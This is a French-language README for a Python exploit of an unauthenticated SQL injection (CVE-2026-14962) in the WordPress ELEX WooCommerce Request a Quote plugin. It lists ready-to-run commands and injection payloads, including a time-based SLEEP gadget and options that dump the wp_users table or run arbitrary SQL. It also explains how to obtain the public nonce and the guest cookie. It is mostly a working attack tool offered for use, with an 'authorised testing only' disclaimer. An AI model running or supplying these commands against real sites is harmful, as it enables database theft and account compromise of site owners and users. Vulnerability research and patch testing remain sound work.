
Plugin Wordpress ELEX WooCommerce Request a Quote injection SQL non authentifiée
Injection SQL non authentifiée dans le plugin WordPress ELEX WooCommerce Request a Quote
ELEX WooCommerce Request a Quote (plugin WordPress elex-request-a-quote) ≤ 2.4.0 — injection SQL non authentifiée via l'action AJAX publique elex_raq_add_to_quote.
Pour tests autorisés uniquement. Ne pas exécuter contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation de test.
Prérequis : Python 3, bibliothèque standard uniquement. La cible doit exécuter WooCommerce (les scripts/nonce de devis sont affichés sur la page boutique/accueil).
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u https://TARGET --test --insecure
python3 cve-2026-14962-elex-raq-sqli.py -u TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump --pid 11
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sleep 3
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sql 'OR JSON_ARRAY(SLEEP(3)))#'
| Option | Ce qu'elle fait |
|---|
-u / --url | Racine du site WordPress (obligatoire). http:// ou https:// ; un nom d'hôte est essayé en HTTPS d'abord, puis en HTTP. Le TLS auto-signé est retenté automatiquement. --insecure ignore la vérification dès le départ |
--test | Invité : version du plugin + nonce public, puis une sonde SQL non destructive $0 |
--dump | Première ligne de wp_users + utilisateur de la base. Nécessite WP_DEBUG pour que l'erreur XPATH soit dans le corps HTTP |
--query SQL | Votre propre expression SQL (pas de guillemets simples ; utilisez l'hexadécimal 0x… pour les chaînes) |
--sql EXPR | data[id] brut après l'évasion $0$0 (vous écrivez le gadget ) OR … #) |
--sleep N | Tentative basée sur le temps SLEEP(N) |
--pid / --vid | Identifiants de produit / variation WooCommerce (la variation doit être non vide pour atteindre le sink) |
--insecure | Ignorer la vérification TLS |
--timeout | Délai HTTP en secondes (par défaut 30) |
Non authentifié. Le nonce est affiché dans request_a_quote_ajax_obj sur / et /shop/. Le cookie invité est request_a_quote_user_coockie (l'orthographe du plugin).
--test envoie attribute_value=$0 en POST. Le preg_replace vulnérable de la 2.4.0 traite $0 comme la correspondance %s et laisse un %d littéral dans la requête. La 2.4.1 lie JSON_CONTAINS et $0 n'est plus qu'une valeur JSON.
Sortie standard : VERSION, NONCE, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, NO_NONCE, NO_DUMP, SQLERR, SLEEP.
CVE : CVE-2026-14962. Journal des modifications du plugin 2.4.1.
